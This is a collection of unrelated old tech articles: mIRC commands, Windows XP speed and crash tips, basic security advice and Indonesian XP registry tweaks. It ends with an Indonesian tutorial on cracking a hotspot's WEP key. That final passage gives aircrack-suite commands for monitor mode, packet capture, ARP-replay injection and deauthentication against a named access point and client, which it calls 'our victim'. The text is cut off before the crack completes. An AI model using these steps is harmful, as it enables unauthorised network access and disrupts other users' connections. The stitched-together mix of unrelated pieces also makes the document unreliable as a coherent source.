0 All mIRC Commands

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/ Recalls the previous command entered in the current window.
/ Recalls the last command typed in any window.
/action {action text} Sends the specifed action to the active channel or query window.
/add [-apuce] {filename.ini} Loads aliases, popups, users, commands, and events.
/ame {action text} Sends the specifed action to all channels which you are currently on.
/amsg {text} Sends the specifed message to all channels which you are currently on.
/auser {level} {nick|address} Adds a user with the specified access level to the remote users
list.
/auto [on|off|nickname|address] Toggles auto-opping of a nick or address or sets it on or off
totally.
/away {away message} Sets you away leave a message explaining that you are not currently paying
attention to IRC.
/away Sets you being back.
/ban [#channel] {nickname} [type] Bans the specified nick from the curent or given channel.
/beep {number} {delay} Locally beeps 'number' times with 'delay' in between the beeps. /channel
Pops up the channel central window (only works in a channel).
/clear Clears the entire scrollback buffer of the current window.
/ctcp {nickname} {ping|finger|version|time|userinfo|clientinfo} Does the given ctcp request on
nickname.
/closemsg {nickname} Closes the query window you have open to the specified nick.
/creq [ask | auto | ignore] Sets your DCC 'On Chat request' settings in DCC/Options.
/dcc send {nickname} {file1} {file2} {file3} ... {fileN} Sends the specified files to nick.
/dcc chat {nickname} Opens a dcc window and sends a dcc chat request to nickname.
/describe {#channel} {action text} Sends the specifed action to the specified channel window.
/dde [-r] {service} {topic} {item} [data] Allows DDE control between mIRC and other
applications.
/ddeserver [on [service name] | off] To turn on the DDE server mode, eventually with a given
service name.
/disable {#groupname} De-activates a group of commands or events.
/disconnect Forces a hard and immediate disconnect from your IRC server. Use it with care.
/dlevel {level} Changes the default user level in the remote section.
/dns {nickname | IP address | IP name} Uses your providers DNS to resolve an IP address.
/echo [nickname|#channel|status] {text} Displays the given text only to YOU on the given place
in color N.
/enable {#groupname} Activates a group of commands or events.
/events [on|off] Shows the remote events status or sets it to listening or not.
/exit Forces mIRC to closedown and exit.
/finger Does a finger on a users address.
/flood [{numberoflines} {seconds} {pausetime}] Sets a crude flood control method.
/fsend [on|off] Shows fsends status and allows you to turn dcc fast send on or off.
/fserve {nickname} {maxgets} {homedirectory} [welcome text file] Opens a fileserver.
/guser {level} {nick} [type] Adds the user to the user list with the specified level and
address type.
/help {keyword} Brings up the Basic IRC Commands section in the mIRC help file.
/ignore [on|off|nickname|address] Toggles ignoring of a nick or address or sets it on or off
totally.
/invite {nickname} {#channel} Invites another user to a channel.
/join {#channel} Makes you join the specified channel.
/kick {#channel} {nickname} Kicks nickname off a given channel.
/list [#string] [-min #] [-max #] Lists all currently available channels, evt. filtering for
parameters.
/log [on|off] Shows the logging status or sets it on or off for the current window.
/me {action text} Sends the specifed action to the active channel or query window.
/mode {#channel|nickname} [[+|-]modechars [parameters]] Sets channel or user modes.
/msg {nickname} {message} Send a private message to this user without opening a query window.
/names {#channel} Shows the nicks of all people on the given channel.
/nick {new nickname} Changes your nickname to whatever you like.
/notice {nick} {message} Send the specified notice message to the nick.
/notify [on|off|nickname] Toggles notifying you of a nick on IRC or sets it on or off totally.
/onotice [#channel] {message} Send the specified notice message to all channel ops.
/omsg [#channel] {message} Send the specified message to all ops on a channel.
/part {#channel} Makes you leave the specified channel.
/partall Makes you leave all channels you are on.
/ping {server address} Pings the given server. NOT a nickname.
/play [-c] {filename} [delay] Allows you to send text files to a window.
/pop {delay} [#channel] {nickname} Performs a randomly delayed +o on a not already opped nick.
/protect [on|off|nickname|address] Toggles protection of a nick or address or sets it on or off
totally.
/query {nickname} {message} Open a query window to this user and send them the private message.
/quit [reason] Disconnect you from IRC with the optional byebye message.
/raw {raw command} Sends any raw command you supply directly to the server. Use it with care!!
/remote [on|off] Shows the remote commands status or sets it to listening or not.
/rlevel {access level} Removes all users from the remote users list with the specified access
level.
/run {c:\path\program.exe} [parameters] Runs the specified program, evt. with parameters.
/ruser {nick[!]|address} [type] Removes the user from the remote users list.
/save {filename.ini} Saves remote sections into a specified INI file.
/say {text} Says whatever you want to the active window.
/server [server address [port] [password]] Reconnects to the previous server or a newly
specified one.
/sound [nickname|#channel] {filename.wav} {action text} Sends an action and a fitting sound.
/speak {text} Uses the external text to speech program Monologue to speak up the text.
/sreq [ask | auto | ignore] Sets your DCC 'On Send request' settings in DCC/Options.
/time Tells you the time on the server you use.
/timer[N] {repetitions} {interval in seconds} {command} [| {more commands}] Activates a timer.
/topic {#channel} {newtopic} Changes the topic for the specified channel.
/ulist [{|}]{level} Lists all users in the remote list with the specified access levels.
/url [-d] Opens the URL windows that allows you to surf the www parallel to IRC.
/uwho [nick] Pops up the user central with information about the specified user.
/who {#channel} Shows the nicks of all people on the given channel.
/who {*address.string*} Shows all people on IRC with a matching address.
/whois {nickname} Shows information about someone in the status window.
/whowas {nickname} Shows information about someone who -just- left IRC.
/wavplay {c:\path\sound.wav} Locally plays the specified wave file.
/write [-cidl] {filename} [text] To write the specified text to a .txt file.

MoViEBoT #xdcc-help /server irc.atomic-irc.net

We strive to make IRC easier for you!

2 23 Ways To Speed WinXP, Not only Defrag

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Since defragging the disk won't do much to improve Windows XP performance, here are 23 suggestions that will. Each can enhance the performance and reliability of your customers' PCs. Best of all, most of them will cost you nothing.

1.) To decrease a system's boot time and increase system performance, use the money you save by not buying defragmentation software -- the built-in Windows defragmenter works just fine -- and instead equip the computer with an Ultra-133 or Serial ATA hard drive with 8-MB cache buffer.

2.) If a PC has less than 512 MB of RAM, add more memory. This is a relatively inexpensive and easy upgrade that can dramatically improve system performance.

3.) Ensure that Windows XP is utilizing the NTFS file system. If you're not sure, here's how to check: First, double-click the My Computer icon, right-click on the C: Drive, then select Properties. Next, examine the File System type; if it says FAT32, then back-up any important data. Next, click Start, click Run, type CMD, and then click OK. At the prompt, type CONVERT C: /FS:NTFS and press the Enter key. This process may take a while; it's important that the computer be uninterrupted and virus-free. The file system used by the bootable drive will be either FAT32 or NTFS. I highly recommend NTFS for its superior security, reliability, and efficiency with larger disk drives.

4.) Disable file indexing. The indexing service extracts information from documents and other files on the hard drive and creates a "searchable keyword index." As you can imagine, this process can be quite taxing on any system.

The idea is that the user can search for a word, phrase, or property inside a document, should they have hundreds or thousands of documents and not know the file name of the document they want. Windows XP's built-in search functionality can still perform these kinds of searches without the Indexing service. It just takes longer. The OS has to open each file at the time of the request to help find what the user is looking for.

Most people never need this feature of search. Those who do are typically in a large corporate environment where thousands of documents are located on at least one server. But if you're a typical system builder, most of your clients are small and medium businesses. And if your clients have no need for this search feature, I recommend disabling it.

Here's how: First, double-click the My Computer icon. Next, right-click on the C: Drive, then select Properties. Uncheck "Allow Indexing Service to index this disk for fast file searching." Next, apply changes to "C: subfolders and files," and click OK. If a warning or error message appears (such as "Access is denied"), click the Ignore All button.

5.) Update the PC's video and motherboard chipset drivers. Also, update and configure the BIOS. For more information on how to configure your BIOS properly, see this article on my site.

6.) Empty the Windows Prefetch folder every three months or so. Windows XP can "prefetch" portions of data and applications that are used frequently. This makes processes appear to load faster when called upon by the user. That's fine. But over time, the prefetch folder may become overloaded with references to files and applications no longer in use. When that happens, Windows XP is wasting time, and slowing system performance, by pre-loading them. Nothing critical is in this folder, and the entire contents are safe to delete.

7.) Once a month, run a disk cleanup. Here's how: Double-click the My Computer icon. Then right-click on the C: drive and select Properties. Click the Disk Cleanup button -- it's just to the right of the Capacity pie graph -- and delete all temporary files.

8.) In your Device Manager, double-click on the IDE ATA/ATAPI Controllers device, and ensure that DMA is enabled for each drive you have connected to the Primary and Secondary controller. Do this by double-clicking on Primary IDE Channel. Then click the Advanced Settings tab. Ensure the Transfer Mode is set to "DMA if available" for both Device 0 and Device 1. Then repeat this process with the Secondary IDE Channel.

9.) Upgrade the cabling. As hard-drive technology improves, the cabling requirements to achieve these performance boosts have become more stringent. Be sure to use 80-wire Ultra-133 cables on all of your IDE devices with the connectors properly assigned to the matching Master/Slave/Motherboard sockets. A single device must be at the end of the cable; connecting a single drive to the middle connector on a ribbon cable will cause signaling problems. With Ultra DMA hard drives, these signaling problems will prevent the drive from performing at its maximum potential. Also, because these cables inherently support "cable select," the location of each drive on the cable is important. For these reasons, the cable is designed so drive positioning is explicitly clear.

10.) Remove all spyware from the computer. Use free programs such as AdAware by Lavasoft or SpyBot Search & Destroy. Once these programs are installed, be sure to check for and download any updates before starting your search. Anything either program finds can be safely removed. Any free software that requires spyware to run will no longer function once the spyware portion has been removed; if your customer really wants the program even though it contains spyware, simply reinstall it. For more information on removing Spyware visit this Web Pro News page.

11.) Remove any unnecessary programs and/or items from Windows Startup routine using the MSCONFIG utility. Here's how: First, click Start, click Run, type MSCONFIG, and click OK. Click the StartUp tab, then uncheck any items you don't want to start when Windows starts. Unsure what some items are? Visit the WinTasks Process Library. It contains known system processes, applications, as well as spyware references and explanations. Or quickly identify them by searching for the filenames using Google or another Web search engine.

12.) Remove any unnecessary or unused programs from the Add/Remove Programs section of the Control Panel.

13.) Turn off any and all unnecessary animations, and disable active desktop. In fact, for optimal performance, turn off all animations. Windows XP offers many different settings in this area. Here's how to do it: First click on the System icon in the Control Panel. Next, click on the Advanced tab. Select the Settings button located under Performance. Feel free to play around with the options offered here, as nothing you can change will alter the reliability of the computer -- only its responsiveness.

14.) If your customer is an advanced user who is comfortable editing their registry, try some of the performance registry tweaks offered at Tweak XP.

15.) Visit Microsoft's Windows update site regularly, and download all updates labeled Critical. Download any optional updates at your discretion.

16.) Update the customer's anti-virus software on a weekly, even daily, basis. Make sure they have only one anti-virus software package installed. Mixing anti-virus software is a sure way to spell disaster for performance and reliability.

17.) Make sure the customer has fewer than 500 type fonts installed on their computer. The more fonts they have, the slower the system will become. While Windows XP handles fonts much more efficiently than did the previous versions of Windows, too many fonts -- that is, anything over 500 -- will noticeably tax the system.

18.) Do not partition the hard drive. Windows XP's NTFS file system runs more efficiently on one large partition. The data is no safer on a separate partition, and a reformat is never necessary to reinstall an operating system. The same excuses people offer for using partitions apply to using a folder instead. For example, instead of putting all your data on the D: drive, put it in a folder called "D drive." You'll achieve the same organizational benefits that a separate partition offers, but without the degradation in system performance. Also, your free space won't be limited by the size of the partition; instead, it will be limited by the size of the entire hard drive. This means you won't need to resize any partitions, ever. That task can be time-consuming and also can result in lost data.

19.) Check the system's RAM to ensure it is operating properly. I recommend using a free program called MemTest86. The download will make a bootable CD or diskette (your choice), which will run 10 extensive tests on the PC's memory automatically after you boot to the disk you created. Allow all tests to run until at least three passes of the 10 tests are completed. If the program encounters any errors, turn off and unplug the computer, remove a stick of memory (assuming you have more than one), and run the test again. Remember, bad memory cannot be repaired, but only replaced.

20.) If the PC has a CD or DVD recorder, check the drive manufacturer's Web site for updated firmware. In some cases you'll be able to upgrade the recorder to a faster speed. Best of all, it's free.

21.) Disable unnecessary services. Windows XP loads a lot of services that your customer most likely does not need. To determine which services you can disable for your client, visit the Black Viper site for Windows XP configurations.

22.) If you're sick of a single Windows Explorer window crashing and then taking the rest of your OS down with it, then follow this tip: open My Computer, click on Tools, then Folder Options. Now click on the View tab. Scroll down to "Launch folder windows in a separate process," and enable this option. You'll have to reboot your machine for this option to take effect.

23.) At least once a year, open the computer's cases and blow out all the dust and debris. While you're in there, check that all the fans are turning properly. Also inspect the motherboard capacitors for bulging or leaks. For more information on this leaking-capacitor phenomena, you can read numerous articles on my site.


Following any of these suggestions should result in noticeable improvements to the performance and reliability of your customers' computers. If you still want to defrag a disk, remember that the main benefit will be to make your data more retrievable in the event of a crashed drive.

0 10 Fast and Free Security Enhancements

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Before you spend a dime on security, there are many precautions you can take that will protect you against the most common threats.

1. Check Windows Update and Office Update regularly (_http://office.microsoft.com/productupdates); have your Office CD ready. Windows Me, 2000, and XP users can configure automatic updates. Click on the Automatic Updates tab in the System control panel and choose the appropriate options.

2. Install a personal firewall. Both SyGate (_www.sygate.com) and ZoneAlarm (_www.zonelabs.com) offer free versions.


3. Install a free spyware blocker. Our Editors' Choice ("Spyware," April 22) was SpyBot Search & Destroy (_http://security.kolla.de). SpyBot is also paranoid and ruthless in hunting out tracking cookies.

4. Block pop-up spam messages in Windows NT, 2000, or XP by disabling the Windows Messenger service (this is unrelated to the instant messaging program). Open Control Panel | Administrative Tools | Services and you'll see Messenger. Right-click and go to Properties. Set Start-up Type to Disabled and press the Stop button. Bye-bye, spam pop-ups! Any good firewall will also stop them.

5. Use strong passwords and change them periodically. Passwords should have at least seven characters; use letters and numbers and have at least one symbol. A decent example would be f8izKro@l. This will make it much harder for anyone to gain access to your accounts.

6. If you're using Outlook or Outlook Express, use the current version or one with the Outlook Security Update installed. The update and current versions patch numerous vulnerabilities.

7. Buy antivirus software and keep it up to date. If you're not willing to pay, try Grisoft AVG Free Edition (Grisoft Inc., w*w.grisoft.com). And doublecheck your AV with the free, online-only scanners available at w*w.pandasoftware.com/activescan and _http://housecall.trendmicro.com.

8. If you have a wireless network, turn on the security features: Use MAC filtering, turn off SSID broadcast, and even use WEP with the biggest key you can get. For more, check out our wireless section or see the expanded coverage in Your Unwired World in our next issue.

9. Join a respectable e-mail security list, such as the one found at our own Security Supersite at _http://security.ziffdavis.com, so that you learn about emerging threats quickly and can take proper precautions.

10. Be skeptical of things on the Internet. Don't assume that e-mail "From:" a particular person is actually from that person until you have further reason to believe it's that person. Don't assume that an attachment is what it says it is. Don't give out your password to anyone, even if that person claims to be from "support."

1 10 reasons why PCs crash U must Know

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Fatal error: the system has become unstable or is busy," it says. "Enter to return to Windows or press Control-Alt-Delete to restart your computer. If you do this you will lose any unsaved information in all open applications."

You have just been struck by the Blue Screen of Death. Anyone who uses Mcft Windows will be familiar with this. What can you do? More importantly, how can you prevent it happening?

1 Hardware conflict

The number one reason why Windows crashes is hardware conflict. Each hardware device communicates to other devices through an interrupt request channel (IRQ). These are supposed to be unique for each device.

For example, a printer usually connects internally on IRQ 7. The keyboard usually uses IRQ 1 and the floppy disk drive IRQ 6. Each device will try to hog a single IRQ for itself.

If there are a lot of devices, or if they are not installed properly, two of them may end up sharing the same IRQ number. When the user tries to use both devices at the same time, a crash can happen. The way to check if your computer has a hardware conflict is through the following route:

* Start-Settings-Control Panel-System-Device Manager.

Often if a device has a problem a yellow '!' appears next to its description in the Device Manager. Highlight Computer (in the Device Manager) and press Properties to see the IRQ numbers used by your computer. If the IRQ number appears twice, two devices may be using it.

Sometimes a device might share an IRQ with something described as 'IRQ holder for PCI steering'. This can be ignored. The best way to fix this problem is to remove the problem device and reinstall it.

Sometimes you may have to find more recent drivers on the internet to make the device function properly. A good resource is www.driverguide.com. If the device is a soundcard, or a modem, it can often be fixed by moving it to a different slot on the motherboard (be careful about opening your computer, as you may void the warranty).

When working inside a computer you should switch it off, unplug the mains lead and touch an unpainted metal surface to discharge any static electricity.

To be fair to Mcft, the problem with IRQ numbers is not of its making. It is a legacy problem going back to the first PC designs using the IBM 8086 chip. Initially there were only eight IRQs. Today there are 16 IRQs in a PC. It is easy to run out of them. There are plans to increase the number of IRQs in future designs.

2 Bad Ram

Ram (random-access memory) problems might bring on the blue screen of death with a message saying Fatal Exception Error. A fatal error indicates a serious hardware problem. Sometimes it may mean a part is damaged and will need replacing.

But a fatal error caused by Ram might be caused by a mismatch of chips. For example, mixing 70-nanosecond (70ns) Ram with 60ns Ram will usually force the computer to run all the Ram at the slower speed. This will often crash the machine if the Ram is overworked.

One way around this problem is to enter the BIOS settings and increase the wait state of the Ram. This can make it more stable. Another way to troubleshoot a suspected Ram problem is to rearrange the Ram chips on the motherboard, or take some of them out. Then try to repeat the circumstances that caused the crash. When handling Ram try not to touch the gold connections, as they can be easily damaged.

Parity error messages also refer to Ram. Modern Ram chips are either parity (ECC) or non parity (non-ECC). It is best not to mix the two types, as this can be a cause of trouble.

EMM386 error messages refer to memory problems but may not be connected to bad Ram. This may be due to free memory problems often linked to old Dos-based programmes.

3 BIOS settings

Every motherboard is supplied with a range of chipset settings that are decided in the factory. A common way to access these settings is to press the F2 or delete button during the first few seconds of a boot-up.

Once inside the BIOS, great care should be taken. It is a good idea to write down on a piece of paper all the settings that appear on the screen. That way, if you change something and the computer becomes more unstable, you will know what settings to revert to.

A common BIOS error concerns the CAS latency. This refers to the Ram. Older EDO (extended data out) Ram has a CAS latency of 3. Newer SDRam has a CAS latency of 2. Setting the wrong figure can cause the Ram to lock up and freeze the computer's display.

Mcft Windows is better at allocating IRQ numbers than any BIOS. If possible set the IRQ numbers to Auto in the BIOS. This will allow Windows to allocate the IRQ numbers (make sure the BIOS setting for Plug and Play OS is switched to 'yes' to allow Windows to do this.).

4 Hard disk drives

After a few weeks, the information on a hard disk drive starts to become piecemeal or fragmented. It is a good idea to defragment the hard disk every week or so, to prevent the disk from causing a screen freeze. Go to

* Start-Programs-Accessories-System Tools-Disk Defragmenter

This will start the procedure. You will be unable to write data to the hard drive (to save it) while the disk is defragmenting, so it is a good idea to schedule the procedure for a period of inactivity using the Task Scheduler.

The Task Scheduler should be one of the small icons on the bottom right of the Windows opening page (the desktop).

Some lockups and screen freezes caused by hard disk problems can be solved by reducing the read-ahead optimisation. This can be adjusted by going to

* Start-Settings-Control Panel-System Icon-Performance-File System-Hard Disk.

Hard disks will slow down and crash if they are too full. Do some housekeeping on your hard drive every few months and free some space on it. Open the Windows folder on the C drive and find the Temporary Internet Files folder. Deleting the contents (not the folder) can free a lot of space.

Empty the Recycle Bin every week to free more space. Hard disk drives should be scanned every week for errors or bad sectors. Go to

* Start-Programs-Accessories-System Tools-ScanDisk

Otherwise assign the Task Scheduler to perform this operation at night when the computer is not in use.

5 Fatal OE exceptions and VXD errors

Fatal OE exception errors and VXD errors are often caused by video card problems.

These can often be resolved easily by reducing the resolution of the video display. Go to

* Start-Settings-Control Panel-Display-Settings

Here you should slide the screen area bar to the left. Take a look at the colour settings on the left of that window. For most desktops, high colour 16-bit depth is adequate.

If the screen freezes or you experience system lockups it might be due to the video card. Make sure it does not have a hardware conflict. Go to

* Start-Settings-Control Panel-System-Device Manager

Here, select the + beside Display Adapter. A line of text describing your video card should appear. Select it (make it blue) and press properties. Then select Resources and select each line in the window. Look for a message that says No Conflicts.

If you have video card hardware conflict, you will see it here. Be careful at this point and make a note of everything you do in case you make things worse.

The way to resolve a hardware conflict is to uncheck the Use Automatic Settings box and hit the Change Settings button. You are searching for a setting that will display a No Conflicts message.

Another useful way to resolve video problems is to go to

* Start-Settings-Control Panel-System-Performance-Graphics

Here you should move the Hardware Acceleration slider to the left. As ever, the most common cause of problems relating to graphics cards is old or faulty drivers (a driver is a small piece of software used by a computer to communicate with a device).

Look up your video card's manufacturer on the internet and search for the most recent drivers for it.

6 Viruses

Often the first sign of a virus infection is instability. Some viruses erase the boot sector of a hard drive, making it impossible to start. This is why it is a good idea to create a Windows start-up disk. Go to

* Start-Settings-Control Panel-Add/Remove Programs

Here, look for the Start Up Disk tab. Virus protection requires constant vigilance.

A virus scanner requires a list of virus signatures in order to be able to identify viruses. These signatures are stored in a DAT file. DAT files should be updated weekly from the website of your antivirus software manufacturer.

An excellent antivirus programme is McAfee VirusScan by Network Associates ( www.nai.com). Another is Norton AntiVirus 2000, made by Symantec ( www.symantec.com).

7 Printers

The action of sending a document to print creates a bigger file, often called a postscript file.

Printers have only a small amount of memory, called a buffer. This can be easily overloaded. Printing a document also uses a considerable amount of CPU power. This will also slow down the computer's performance.

If the printer is trying to print unusual characters, these might not be recognised, and can crash the computer. Sometimes printers will not recover from a crash because of confusion in the buffer. A good way to clear the buffer is to unplug the printer for ten seconds. Booting up from a powerless state, also called a cold boot, will restore the printer's default settings and you may be able to carry on.

8 Software

A common cause of computer crash is faulty or badly-installed software. Often the problem can be cured by uninstalling the software and then reinstalling it. Use Norton Uninstall or Uninstall Shield to remove an application from your system properly. This will also remove references to the programme in the System Registry and leaves the way clear for a completely fresh copy.

The System Registry can be corrupted by old references to obsolete software that you thought was uninstalled. Use Reg Cleaner by Jouni Vuorio to clean up the System Registry and remove obsolete entries. It works on Windows 95, Windows 98, Windows 98 SE (Second Edition), Windows Millennium Edition (ME), NT4 and Windows 2000.

Read the instructions and use it carefully so you don't do permanent damage to the Registry. If the Registry is damaged you will have to reinstall your operating system. Reg Cleaner can be obtained from www.jv16.org

Often a Windows problem can be resolved by entering Safe Mode. This can be done during start-up. When you see the message "Starting Windows" press F4. This should take you into Safe Mode.

Safe Mode loads a minimum of drivers. It allows you to find and fix problems that prevent Windows from loading properly.

Sometimes installing Windows is difficult because of unsuitable BIOS settings. If you keep getting SUWIN error messages (Windows setup) during the Windows installation, then try entering the BIOS and disabling the CPU internal cache. Try to disable the Level 2 (L2) cache if that doesn't work.

Remember to restore all the BIOS settings back to their former settings following installation.

9 Overheating

Central processing units (CPUs) are usually equipped with fans to keep them cool. If the fan fails or if the CPU gets old it may start to overheat and generate a particular kind of error called a kernel error. This is a common problem in chips that have been overclocked to operate at higher speeds than they are supposed to.

One remedy is to get a bigger better fan and install it on top of the CPU. Specialist cooling fans/heatsinks are available from www.computernerd.com or www.coolit.com

CPU problems can often be fixed by disabling the CPU internal cache in the BIOS. This will make the machine run more slowly, but it should also be more stable.

10 Power supply problems

With all the new construction going on around the country the steady supply of electricity has become disrupted. A power surge or spike can crash a computer as easily as a power cut.

If this has become a nuisance for you then consider buying a uninterrupted power supply (UPS). This will give you a clean power supply when there is electricity, and it will give you a few minutes to perform a controlled shutdown in case of a power cut.

It is a good investment if your data are critical, because a power cut will cause any unsaved data to be lost.

5 Mempercepat Loading dan Start Up Windows XP

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Jika kita sudah dan banyak menginstal aplikasi Program, terkadang kita merasakan kalau Komputer kita semakin lambat jalannya. Ibarat keong yang keberatan bawa rumahnya...

Ada beberapa tip yang dapat kita lakukan tanpa harus ke Teknisi, selain mengirit biaya juga menambah ilmu kan ????.ok..kita mulai dari setting service..
Cara mendisable service diatas:

1. Klik start>Run>ketik "services.msc"
2. Dobel klik service yg hendak diubah
3. Ubah startup type menjadi \'Disable"
2. Matikan System restore
System restore bisa bermanfaat jika komputer bermasalah, akan tetapi semua restore point yg disimpan bisa memakan ruangan yg cukup besar di harddisk. System restore membebani karena selalu memonitor sistem, dengan mendisable system restore maka sebagian resorce bisa dialokasikan untuk hal yg lain.

1. Buka Control Panel
2. Klik Performance and Maintenance
3. Klik System
4. Klik System Restore tab
5. Klik \'Turn off System Restore on All Drives\'
6. Klik \'Ok\'

3. Defrag Pagefile
Aplikasi ini dapat digunakan untuk menyusun atau menyegarkan susunan File di komputer. Walaupun di Windows sendiri ada sistem defrag file yang internal namun kita ridak ada salahnya mencoba aplkiasi yang ini, selain Sourcenya yang kecil, kemampuannya sangat penting and sekali lagi support dengan defragnya windows

1. Download and Run PageDefrag,
2. kasih centang pada "Defrag at next Reboot",
3. Klik OK
4. Reboot

4. Mempercepat akses Folder - dengan mendisable Last Access Update.

Jika anda memiliki banyak folder dan subdirectories, maka akses ke Direktory2 Windows XP terasa sangat berat dan seringkali cuman membuang waktu. Dengan mengupdate time stamp di registry, yaitu last access update untuk semua sub directory. Proceed with caution: Langkah berikut bukan untuk N00bie

1. Start>Run>regedit
2. "HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Contr ol\\FileSystem"
3. Klik kanan di bagian yg kan (cari area yg kosong), lalu pilih \'DWORD Value\'
4. Bikin DWORD Value dengan nama \'NtfsDisableLastAccessUpdate\'
5. Klik kanan pada value baru terus pilih \'Modify\'
6. Ubah data menjadi \'1\'
7. Klik \'OK\'

5. Me-non-aktifkan Microsoft System Sounds
Secara default MS sound systems membuat komputer berbunyi/bersuara ketika booting awal, shutdown, error, dll. Skenario suara windows jelas membuat komputer lebih lambat (terutama dalam waktu shutdown dan booting awal), untuk me-non-aktifkan silahkan ikuti langkah berikut:
1. Buka Control Panel
2. Klik Sounds and Audio Devices
3. Klik tab Sounds
4. Pilih "No Sounds" dari Sound Scheme
5. Klik "No"
7. Klik "Apply"
8. Klik "OK"

6. Mempercepat waktu Boot
Fitur yg lumayan asik dari Windows XP adalah kemampuan untuk mendefrag ketika ada dalam proses booting. Boot Defrag pada prinsip menata file2 yg relevan dengan booting secara berurutan. Secara default fitur ini telah diaktifkan pada beberapa Build Windows, tapi beberapa build windows tidak, ada baiknya kalo kita cross check terhadap fiotur yg satu ini.
1. Start Menu>Run
2. Regedit
3. HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Dfrg\\BootOptimizeFunction
4. Cari "Enable" dibagian kanan regedit
5. Klik "Modify"
6. Pilih "Y to enable"
7. Reboot

Tambahan:
Bootvisjuga bisa dicoba, untuk memangkas waktu boot dengan manufer yg manis.

7. Mempercepat Performa Swapfile
Jika anda memiliki ram lebih besar dari 256MB bisa dibilang tweaking yg ini akan membuat sistem anda berjalan lebih cepat. Tweaking ini pada dasarnya PC kita mengunakan setiap byte dari memori fisik yg terpasang di komputer kita, SEBELUM mengunakan swap file.
1. Start>Run
2. "msconfig.exe">ok
3. Klik tab System.ini
4. Klik tanda plus pada tab 386enh
5. Klik kotak new kemudian ketik "ConservativeSwapfileUsage=1"
6. Klik OK
7. Restart

8. Mempercepat Loading Windows Menu
Tweak ini adalah tweaking fav saya, karena akan komputer kita terasa lebih cepat. Tweaking ini membuang waktu delay ketika kita mengklik menu dan windows XP menampakkan Menu.
1. Start>Run
2. Regedit>Ok
3. "HKEY_CURRENT_USER\\Control Panel\\Desktop\\"
4. Pilih/Sorot "MenuShowDelay"
5. Klik kanan dan pilih "Modify\'
6. Ketik angka "100"
Angka 50-150 adalah kisaran yg baik, bisa disesuaikan dengan Mood anda

9. Mempercepat Loading Program.
Tweaking ini bisa berjalan untuk sebagian besar program. Jika program tidak mau loading seperti yg diharapkan, silahkan aja dikembalikan ke setting semula.
1. Klik kanan pada icon/shortcut yg berkaitan dengan program.
2. properties
3. Pada kotak \'target\', tambahkan \' /prefetch:1\' diakhir kalimat.
4. Klik "Ok"
gampang kan, Program akan loading lebih cepat.

10. Mempercepat Shutdown Windows XP.
Tweaking ini mengurangi waktu tunggu secara otomatis ketika windows sudah menerima instruksi untuk shutdown.
1. Start>Run
2. \'Regedit\'>OK
3. \'HKEY_CURRENT_USER\\Control Panel\\Desktop\\\'
4. Sorot \'WaitToKillAppTimeout\'
5. Klik kanan dan pilih modify
6. Ubah value menjadi \'1000\'
7. Klik \'OK\'
8. Sorot \'HungAppTimeout\'
9. Klik kanan dan pilih modify
10. Ubah value menjadi \'1000\'
11. Klik \'OK\'
12. \'HKEY_USERS\\.DEFAULT\\Control Panel\\Desktop\' sorot WaitToKillAppTimeout\'
13. Klik kanan dan pilih modify
15. Ubah value ke \'1000\'
16. Klik \'OK\'
17. \'HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Contr ol\\\' sorot \'WaitToKillServiceTimeout\'
19. Klik kanan dan pilih modify
20. Ubah value menjadi \'1000\'
21. Klik \'OK\'.

Source: www.go-nrc.co.cc

4 Menjebol Proteksi WEP

.
Ini adalah bagian kedua dari praktek Menjebol HotSpot. Jikalau pada artikel sebelumnya kita membahas bagaimana menembus batas proteksi MAC address, pada kali ini kita akan membahas bagaimana mendapatkan akses HotSpot yang menggunakan WEP (Wired Equivalent Privacy) Keys.

Alat yang kita butuhkan adalah :

1. Sebuah Laptop
2.Sebuah Wireless Adapter yang mendukung Mode Monitoring dan Injection.
3.Linux Live CD distro : Backtrack 2.0


Mengapa kita membutuhkan Laptop ? Tentu saja karena akses HotSpot biasanya diberikan untuk pengguna yang Mobile. Dan dengan laptop kita memiliki fleksibilitas yang tinggi pula.

Lalu apa yang dimaksud dengan Wireless Adapter yang mendukung mode monitoring dan injection ? Perlu anda ketahui, tidak semua Wireless Adapter yang ada dipasaran, maupun yang sudah built in dalam laptop, mendukung mode monitoring dan injection yang diperlukan untuk WEP hacking ini.

Yang perlu anda perhatikan adalah Chip dari Wireless Adapter anda. Chip terbaik dalam melakukan wireless hacking adalah Atheros dan Ralink. Namun Atheros adalah pilihan utama. Tidak banyak wireless adapter yang memiliki chip atheros di Indonesia, anda dapat mencari beberapa merk dibawah ini :

1. 3Com 3CRPAG175B
2.3Com 3CRXJK10075
3.DLINK DWL-G630 Rev C
4.Linksys WPC55AG
5.TrendNET TEW-441PC
6.TrendNET TEW-443PI
7.TP-LINK TL-WN610G

Jika anda telah memilikinya, maka anda dapat memulai Langkah pertama dalam Wireless Hacking ini yaitu lakukan booting dengan CD Backtrack anda .

Langkah kedua tentu saja, langsung buka console anda dan ketikkan command berikut(saya asumsikan wireless adapter anda berchipset atheros) :

airmon-ng stop ath0

airmon-ng start wifi0

Kedua command ini berguna untuk mengaktifkan mode monitoring dan injection pada wireless adapter anda. Kemudian lanjutkan dengan monitoring jaringan wireless dengan mengetikkan command berikut :

airodump-ng ath0

Tampak terlihat Access Point Rek-1 diproteksi dengan WEP Encryption. itulah korban kita. AP Rek-1 diset pada Channel 6 dan memiliki BSSID 00:19:5B:5C:62:92 . Sekarang saatnya melakukan penyerangan.Buka Console baru dan ketikkan :

airodump-ng –channel 6 –bssid 00:19:5B:5C:62:92 -w hasil ath0

Perintah diatas akan mengumpulkan paket data yang dibutuhan untuk proses Cracking.

Selanjutnya lakukan injeksi paket pada Client yang terkoneksi pada AP untuk mendapatkan paket ARP lebih cepat. Bukalah lagi Console baru tanpa menutup console yang sebelumnya dan ketik :

aireplay-ng –arpreplay -b 00:19:5B:5C:62:92 -h 00:19:D2:45:D0:EB ath0

Client yang diserang ini memiliki Mac address 00:19:D2:45:D0:EB (lihat pada screenshot diatas pada tabel station yang terletak dibawah) . Anda tidak menemukan Mac address 00:19:D2:45:D0:EB pada screenshot ? tentu saja karena saat dilakukan screenshot belum terdeteksi

Tidak sabar menunggu ? Untuk mempercepat lagi datangnya ARP , maka kita dapat melakukan serangan Deauthentication untuk memutuskan hubungan Client ke AP sehingga ARP yang biasanya didapat saat awal koneksi client dapat lebih cepat didapat. Bukalah console baru sekali lagi dan ketikkan :

aireplay-ng –deauth 5 -c 00:19:D2:45:D0:EB -a 00:19:5B:5C:62:92 ath0

